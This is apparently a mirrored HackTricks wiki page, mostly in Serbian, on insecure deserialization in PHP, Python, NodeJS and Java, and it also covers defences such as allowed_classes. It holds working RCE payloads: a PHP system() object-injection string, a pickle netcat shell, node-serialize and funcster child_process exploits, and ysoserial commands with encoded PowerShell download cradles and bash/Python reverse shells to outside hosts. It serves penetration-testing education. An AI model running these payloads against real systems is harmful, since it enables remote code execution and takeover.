mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1088 lines
63 KiB
Markdown
1088 lines
63 KiB
Markdown
# Deserialization
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Osnovne informacije
|
||
|
||
**Serialization** se smatra metodom konvertovanja objekta u format koji se može sačuvati, sa namerom da se objekat ili skladišti ili prenese kao deo komunikacionog procesa. Ova tehnika se često koristi kako bi se obezbedilo da objekat može biti ponovo rekonstruisan kasnije, zadržavajući njegovu strukturu i stanje.
|
||
|
||
**Deserialization**, suprotno, je proces koji poništava **Serialization**. Obuhvata uzimanje podataka koji su strukturirani u određenom formatu i njihovu rekonstrukciju nazad u objekat.
|
||
|
||
**Deserialization** može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili prouzrokovali neočekivano ponašanje aplikacije tokom procesa rekonstrukcije objekta.
|
||
|
||
## PHP
|
||
|
||
U PHP-u se tokom procesa serializacije i deserializacije koriste specifične magic methods:
|
||
|
||
- `__sleep`: Poziva se kada se objekat serializuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba da budu serializovana. Obično se koristi za upis čekajućih podataka ili izvođenje sličnih poslova čišćenja.
|
||
- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovnu uspostavu eventualno izgubljenih konekcija ka bazi podataka tokom serializacije i za druge zadatke re-inicijalizacije.
|
||
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Omogućava veću kontrolu nad procesom deserializacije u poređenju sa `__wakeup`.
|
||
- `__destruct`: Ova metoda se poziva kada je objekat pred uništenjem ili kada se skript završava. Tipično se koristi za zadatke čišćenja, kao što su zatvaranje fajl deskriptora ili konekcija ka bazi podataka.
|
||
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke zasnovane na pozivima funkcija unutar nje, efektivno obezbeđujući tekstualnu reprezentaciju objekta.
|
||
```php
|
||
<?php
|
||
class test {
|
||
public $s = "This is a test";
|
||
public function displaystring(){
|
||
echo $this->s.'<br />';
|
||
}
|
||
public function __toString()
|
||
{
|
||
echo '__toString method called';
|
||
}
|
||
public function __construct(){
|
||
echo "__construct method called";
|
||
}
|
||
public function __destruct(){
|
||
echo "__destruct method called";
|
||
}
|
||
public function __wakeup(){
|
||
echo "__wakeup method called";
|
||
}
|
||
public function __sleep(){
|
||
echo "__sleep method called";
|
||
return array("s"); #The "s" makes references to the public attribute
|
||
}
|
||
}
|
||
|
||
$o = new test();
|
||
$o->displaystring();
|
||
$ser=serialize($o);
|
||
echo $ser;
|
||
$unser=unserialize($ser);
|
||
$unser->displaystring();
|
||
|
||
/*
|
||
php > $o = new test();
|
||
__construct method called
|
||
__destruct method called
|
||
php > $o->displaystring();
|
||
This is a test<br />
|
||
|
||
php > $ser=serialize($o);
|
||
__sleep method called
|
||
|
||
php > echo $ser;
|
||
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
||
|
||
php > $unser=unserialize($ser);
|
||
__wakeup method called
|
||
__destruct method called
|
||
|
||
php > $unser->displaystring();
|
||
This is a test<br />
|
||
*/
|
||
?>
|
||
```
|
||
Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju kada se objekat deserializuje. Primetite da ćete u nekoliko tutorijala naći da se funkcija **`__toString`** poziva kada se pokušava ispisati neki atribut, ali izgleda da se to **više ne dešava**.
|
||
|
||
> [!WARNING]
|
||
> Metod **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementiran u klasi. Omogućava vam da deserializujete objekat tako što ćete proslediti serijalizovane podatke kao niz. Možete koristiti ovaj metod da deserializujete svojstva i izvršite sve potrebne radnje prilikom deserializacije.
|
||
>
|
||
> ```php
|
||
> class MyClass {
|
||
> private $property;
|
||
>
|
||
> public function __unserialize(array $data): void {
|
||
> $this->property = $data['property'];
|
||
> // Perform any necessary tasks upon deserialization.
|
||
> }
|
||
> }
|
||
> ```
|
||
|
||
Možete pročitati objašnjen PHP primer ovde: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||
|
||
### PHP Deserial + Autoload Classes
|
||
|
||
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i još mnogo toga:
|
||
|
||
|
||
{{#ref}}
|
||
php-deserialization-+-autoload-classes.md
|
||
{{#endref}}
|
||
|
||
### Serializing Referenced Values
|
||
|
||
Ako iz nekog razloga želite da serijalizujete vrednost kao **referencu na drugu serijalizovanu vrednost**, možete:
|
||
```php
|
||
<?php
|
||
class AClass {
|
||
public $param1;
|
||
public $param2;
|
||
}
|
||
|
||
$o = new WeirdGreeting;
|
||
$o->param1 =& $o->param22;
|
||
$o->param = "PARAM";
|
||
$ser=serialize($o);
|
||
```
|
||
### Sprečavanje PHP Object Injection pomoću `allowed_classes`
|
||
|
||
> [!INFO]
|
||
> Podrška za **drugi argument** funkcije `unserialize()` (niz `$options`) uvedena je u **PHP 7.0**. Na starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.
|
||
|
||
`unserialize()` će **instancirati svaku klasu** koju pronađe u serijalizovanom streamu, osim ako nije drugačije naznačeno. Od PHP 7 ponašanje se može ograničiti opcijom [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
|
||
```php
|
||
// NEVER DO THIS – full object instantiation
|
||
$object = unserialize($userControlledData);
|
||
|
||
// SAFER – disable object instantiation completely
|
||
$object = unserialize($userControlledData, [
|
||
'allowed_classes' => false // no classes may be created
|
||
]);
|
||
|
||
// Granular – only allow a strict white-list of models
|
||
$object = unserialize($userControlledData, [
|
||
'allowed_classes' => [MyModel::class, DateTime::class]
|
||
]);
|
||
```
|
||
Ako je **`allowed_classes` izostavljen _ili_ kod radi na PHP < 7.0**, poziv postaje **opasan** jer napadač može da konstruše payload koji zloupotrebljava magične metode kao što su `__wakeup()` ili `__destruct()` kako bi ostvario Remote Code Execution (RCE).
|
||
|
||
#### Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709
|
||
|
||
WordPress dodatak **Everest Forms ≤ 3.2.2** je pokušao da bude defanzivan koristeći pomoćni wrapper, ali je zaboravio na zastarele PHP verzije:
|
||
```php
|
||
function evf_maybe_unserialize($data, $options = array()) {
|
||
if (is_serialized($data)) {
|
||
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
|
||
// SAFE branch (PHP ≥ 7.1)
|
||
$options = wp_parse_args($options, array('allowed_classes' => false));
|
||
return @unserialize(trim($data), $options);
|
||
}
|
||
// DANGEROUS branch (PHP < 7.1)
|
||
return @unserialize(trim($data));
|
||
}
|
||
return $data;
|
||
}
|
||
```
|
||
Na serverima koji su i dalje koristili **PHP ≤ 7.0**, ova druga grana dovodila je do klasičnog **PHP Object Injection** kada bi administrator otvorio zlonamerni form submission. Minimalni exploit payload mogao bi izgledati ovako:
|
||
```
|
||
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||
```
|
||
Čim je admin pogledao unos, objekat je instanciran i `SomeClass::__destruct()` je izvršen, što je rezultiralo izvršavanjem proizvoljnog koda.
|
||
|
||
**Zaključci**
|
||
1. Uvek prosleđujte `['allowed_classes' => false]` (ili strogu white-list) kada pozivate `unserialize()`.
|
||
2. Auditirajte defensive wrappers – često zaboravljaju nasleđene PHP grane.
|
||
3. Nadogradnja na **PHP ≥ 7.x** sama po sebi *nije* dovoljna: opcija i dalje mora biti eksplicitno navedena.
|
||
|
||
---
|
||
|
||
### PHPGGC (ysoserial for PHP)
|
||
|
||
[**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći pri generisanju payloads-a za zloupotrebu PHP deserializations.\
|
||
Imajte na umu da u nekoliko slučajeva nećete moći pronaći način da zloupotrebite deserialization u izvornom kodu aplikacije, ali možete zloupotrebiti kod eksternih PHP extensions.\
|
||
Dakle, ako možete, proverite `phpinfo()` servera i **pretražite internet** (pa čak i **gadgets** od **PHPGGC**) za moguće gadgete koje biste mogli zloupotrebiti.
|
||
|
||
### phar:// metadata deserialization
|
||
|
||
Ako ste pronašli LFI koji samo čita fajl i ne izvršava php kod u njegovom unutrašnjosti, na primer koristeći funkcije kao što su _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Možete pokušati zloupotrebiti **deserialization** koji se dešava pri **čitanju** **fajla** koristeći **phar** protokol.\
|
||
Za više informacija pročitajte sledeći post:
|
||
|
||
|
||
{{#ref}}
|
||
../file-inclusion/phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
## Python
|
||
|
||
### **Pickle**
|
||
|
||
Kada se objekat unpickle-uje, funkcija \_\_\_reduce\_\_\_ će biti izvršena.\
|
||
Ako se iskoristi, server može vratiti grešku.
|
||
```python
|
||
import pickle, os, base64
|
||
class P(object):
|
||
def __reduce__(self):
|
||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||
print(base64.b64encode(pickle.dumps(P())))
|
||
```
|
||
Pre nego što proverite bypass tehniku, pokušajte da koristite `print(base64.b64encode(pickle.dumps(P(),2)))` da generišete objekat koji je kompatibilan sa python2 ako koristite python3.
|
||
|
||
Za više informacija o bekstvu iz **pickle jails** pogledajte:
|
||
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
|
||
{{#endref}}
|
||
|
||
### Yaml **&** jsonpickle
|
||
|
||
Sledeća stranica prikazuje tehniku za **abuse an unsafe deserialization in yamls** Python biblioteka i završava sa alatom koji može da generiše RCE deserialization payload za **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
|
||
|
||
|
||
{{#ref}}
|
||
python-yaml-deserialization.md
|
||
{{#endref}}
|
||
|
||
### Class Pollution (Python Prototype Pollution)
|
||
|
||
|
||
{{#ref}}
|
||
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
|
||
{{#endref}}
|
||
|
||
## NodeJS
|
||
|
||
### JS Magic Functions
|
||
|
||
JS **nema "magic" functions** kao PHP ili Python koje će se izvršiti samo prilikom kreiranja objekta. Međutim, ima neke **funkcije** koje se **često koriste čak i bez direktnog poziva** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||
Ako pri iskorišćavanju deserializationa možete **kompromitovati ove funkcije da izvrše drugi kod** (potencijalno iskorišćavajući prototype pollutions), mogli biste izvršiti arbitraran kod kada se pozovu.
|
||
|
||
Drugi **"magic" način da se pozove funkcija** bez direktnog poziva je kompromitovanjem objekta koji je vraćen iz async funkcije (promise). Jer, ako **transformišete** taj **return object** u drugi **promise** sa **property** koji se zove **"then" of type function**, on će biti **executed** samo zato što je vraćen iz drugog promise-a. _Pratite_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
|
||
```javascript
|
||
// If you can compromise p (returned object) to be a promise
|
||
// it will be executed just because it's the return object of an async function:
|
||
async function test_resolve() {
|
||
const p = new Promise((resolve) => {
|
||
console.log("hello")
|
||
resolve()
|
||
})
|
||
return p
|
||
}
|
||
|
||
async function test_then() {
|
||
const p = new Promise((then) => {
|
||
console.log("hello")
|
||
return 1
|
||
})
|
||
return p
|
||
}
|
||
|
||
test_ressolve()
|
||
test_then()
|
||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||
```
|
||
### `__proto__` and `prototype` pollution
|
||
|
||
Ako želite da saznate više o ovoj tehnici, **pogledajte sledeći tutorijal**:
|
||
|
||
|
||
{{#ref}}
|
||
nodejs-proto-prototype-pollution/
|
||
{{#endref}}
|
||
|
||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||
|
||
Ova biblioteka omogućava serijalizaciju funkcija. Primer:
|
||
```javascript
|
||
var y = {
|
||
rce: function () {
|
||
require("child_process").exec("ls /", function (error, stdout, stderr) {
|
||
console.log(stdout)
|
||
})
|
||
},
|
||
}
|
||
var serialize = require("node-serialize")
|
||
var payload_serialized = serialize.serialize(y)
|
||
console.log("Serialized: \n" + payload_serialized)
|
||
```
|
||
**Serijalizovani objekat** će izgledati ovako:
|
||
```bash
|
||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||
```
|
||
You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
|
||
|
||
Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
Kao što možete videti u poslednjem delu koda, **ako je flag pronađen** koristi se `eval` za deserijalizaciju funkcije, tako da praktično **unos korisnika se koristi unutar `eval` funkcije**.
|
||
|
||
Međutim, **samo serijalizovanje** funkcije **je neće izvršiti**, jer bi bilo neophodno da neki deo koda poziva `y.rce` u našem primeru, što je veoma **neverovatno**.\
|
||
U svakom slučaju, možete jednostavno **izmeniti serijalizovani objekat** **dodavanjem zagrada** tako da se serijalizovana funkcija automatski izvrši kada se objekat deserijalizuje.\
|
||
U sledećem delu koda **obratite pažnju na poslednju zagradu** i kako funkcija `unserialize` automatski izvršava kod:
|
||
```javascript
|
||
var serialize = require("node-serialize")
|
||
var test = {
|
||
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
|
||
}
|
||
serialize.unserialize(test)
|
||
```
|
||
Kao što je ranije navedeno, ova biblioteka preuzima kod koji se nalazi nakon `_$$ND_FUNC$$_` i **izvršava** ga koristeći `eval`. Dakle, da biste **automatski izvršili kod**, možete **ukloniti deo koji kreira funkciju** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
|
||
```javascript
|
||
var serialize = require("node-serialize")
|
||
var test =
|
||
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
|
||
serialize.unserialize(test)
|
||
```
|
||
Možete [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** o tome kako iskoristiti ovu ranjivost.
|
||
|
||
### [funcster](https://www.npmjs.com/package/funcster)
|
||
|
||
Značajan aspekt **funcster** je nedostupnost **standardnih ugrađenih objekata**; oni su izvan dostupnog opsega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što je "ReferenceError: console is not defined" kada se koriste komande poput `console.log()` ili `require(something)`.
|
||
|
||
Uprkos ovom ograničenju, moguće je vratiti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, pomoću specifičnog pristupa. Direktnim iskorišćavanjem globalnog konteksta može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći snippet:
|
||
```javascript
|
||
funcster = require("funcster")
|
||
//Serialization
|
||
var test = funcster.serialize(function () {
|
||
return "Hello world!"
|
||
})
|
||
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
||
|
||
//Deserialization with auto-execution
|
||
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
||
funcster.deepDeserialize(desertest1)
|
||
var desertest2 = {
|
||
__js_function: 'this.constructor.constructor("console.log(1111)")()',
|
||
}
|
||
funcster.deepDeserialize(desertest2)
|
||
var desertest3 = {
|
||
__js_function:
|
||
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
|
||
}
|
||
funcster.deepDeserialize(desertest3)
|
||
```
|
||
**Za**[ **više informacija pročitajte ovaj izvor**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||
|
||
Paket **serialize-javascript** je dizajniran isključivo za serialization, i nema ugrađene deserialization mogućnosti. Korisnici su odgovorni za implementaciju sopstvene metode za deserialization. Zvanični primer za deserializaciju serialized data predlaže direktnu upotrebu `eval`:
|
||
```javascript
|
||
function deserialize(serializedJavascript) {
|
||
return eval("(" + serializedJavascript + ")")
|
||
}
|
||
```
|
||
Ako se ova funkcija koristi za deserialize objekata, možete je **lako iskoristiti**:
|
||
```javascript
|
||
var serialize = require("serialize-javascript")
|
||
//Serialization
|
||
var test = serialize(function () {
|
||
return "Hello world!"
|
||
})
|
||
console.log(test) //function() { return "Hello world!" }
|
||
|
||
//Deserialization
|
||
var test =
|
||
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||
deserialize(test)
|
||
```
|
||
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### Cryo biblioteka
|
||
|
||
Na sledećim stranicama možete naći informacije kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:
|
||
|
||
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||
|
||
## Java - HTTP
|
||
|
||
U Javi, **deserialization callbacks se izvršavaju tokom procesa deserialization**. Napadači koji kreiraju maliciozne payload-e koji okidaju ove callbacks mogu iskoristiti ovo izvršavanje za pokretanje štetnih radnji.
|
||
|
||
### Otisci
|
||
|
||
#### White Box
|
||
|
||
Da biste identifikovali potencijalne serialization ranjivosti u kodu, pretražite:
|
||
|
||
- Classes that implement the `Serializable` interface.
|
||
- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
|
||
|
||
Obratite posebnu pažnju na:
|
||
|
||
- `XMLDecoder` utilized with parameters defined by external users.
|
||
- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
|
||
- `ObjectInputStream` coupled with the `readObject` method.
|
||
- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
|
||
- `ObjectInputStream.readUnshared`.
|
||
- General use of `Serializable`.
|
||
|
||
#### Black Box
|
||
|
||
Za black box testiranje, obratite pažnju na specifične **signatures ili "Magic Bytes"** koji ukazuju na java serialized objekte (potekle iz `ObjectInputStream`):
|
||
|
||
- Hexadecimal pattern: `AC ED 00 05`.
|
||
- Base64 pattern: `rO0`.
|
||
- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
|
||
- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
|
||
- Base64 pattern indicating prior compression: `H4sIA`.
|
||
- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
|
||
```
|
||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||
```
|
||
### Check if vulnerable
|
||
|
||
Ako želite da **learn about how does a Java Deserialized exploit work** trebalo bi da pogledate [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), i [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||
|
||
#### SignedObject-gated deserialization and pre-auth reachability
|
||
|
||
U modernim codebase-ovima se ponekad deserialization umotava u `java.security.SignedObject` i verifikuje se signature pre poziva `getObject()` (koji deserializuje unutrašnji objekat). Ovo sprečava proizvoljne top-level gadget classes, ali i dalje može biti exploitable ako napadač može da pribavi validan signature (npr. kompromitovanje private-key ili signing oracle). Dodatno, tokovi za rukovanje greškama mogu kreirati session-bound tokens za neautentifikovane korisnike, izlažući inače zaštićene sinks pre-auth.
|
||
|
||
For a concrete case study with requests, IoCs, and hardening guidance, see:
|
||
|
||
{{#ref}}
|
||
java-signedobject-gated-deserialization.md
|
||
{{#endref}}
|
||
|
||
#### White Box Test
|
||
|
||
Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
|
||
```bash
|
||
find . -iname "*commons*collection*"
|
||
grep -R InvokeTransformer .
|
||
```
|
||
Možete pokušati da **proverite sve biblioteke** koje su poznate kao ranjive i za koje [**Ysoserial** ](https://github.com/frohoff/ysoserial) može da obezbedi exploit. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da pretražite moguće gadget chains koji se mogu iskoristiti.\
|
||
Kada pokrećete **gadgetinspector** (nakon što ga izgradite) nemojte obraćati pažnju na gomilu upozorenja/grešaka kroz koje prolazi i pustite da završi. On će zapisati sva otkrića pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Imajte na umu da **gadgetinspector neće napraviti exploit i može ukazati na false positives**.
|
||
|
||
#### Test crne kutije
|
||
|
||
Korišćenjem Burp ekstenzije [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i njihove verzije). Sa tim informacijama može biti **lakše izabrati payload** za eksploatisanje ranjivosti.\
|
||
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||
GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**.
|
||
|
||
Korišćenjem Burp ekstenzije [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu iskoristiti sa ysoserial i **eksploatisati** ih.\
|
||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||
Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije.
|
||
|
||
Možete takođe koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete deserializacione** ranjivosti u **Burp**. Ovaj plugin će detektovati **ne samo `ObjectInputStream`** povezane ranjivosti već **takođe** i ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payload-e.\
|
||
[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||
|
||
### **Serialization Test**
|
||
|
||
Nije sve samo u proveri da li server koristi neku ranjivu biblioteku. Ponekad možete biti u mogućnosti da **promenite podatke unutar serializovanog objekta i zaobiđete neke provere** (možda vam dodeli admin privilegije u web aplikaciji).\
|
||
Ako pronađete java serializovan objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da ispišete serializovani objekat u čitljivijem formatu**. Znajući koje podatke šaljete biće vam lakše da ih modifikujete i zaobiđete neke provere.
|
||
|
||
### **Exploit**
|
||
|
||
#### **ysoserial**
|
||
|
||
Glavni alat za eksploatisanje Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Možete takođe razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite kompleksne komande (na primer sa pipes).\
|
||
Imajte u vidu da je ovaj alat **fokusiran** na eksploatisanje **`ObjectInputStream`**.\
|
||
Preporučio bih da **počnete sa "URLDNS"** payload-om **pre RCE** payload-a da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da "URLDNS" payload možda neće raditi dok neki drugi RCE payload hoće.
|
||
```bash
|
||
# PoC to make the application perform a DNS req
|
||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||
|
||
# PoC RCE in Windows
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
||
# Time, I noticed the response too longer when this was used
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
||
# Create File
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
||
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
||
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
||
# Reverse Shell
|
||
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
||
|
||
#PoC RCE in Linux
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
||
# Time
|
||
## Using time in bash I didn't notice any difference in the timing of the response
|
||
# Create file
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# Reverse shell
|
||
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||
|
||
# Base64 encode payload in base64
|
||
base64 -w0 payload
|
||
```
|
||
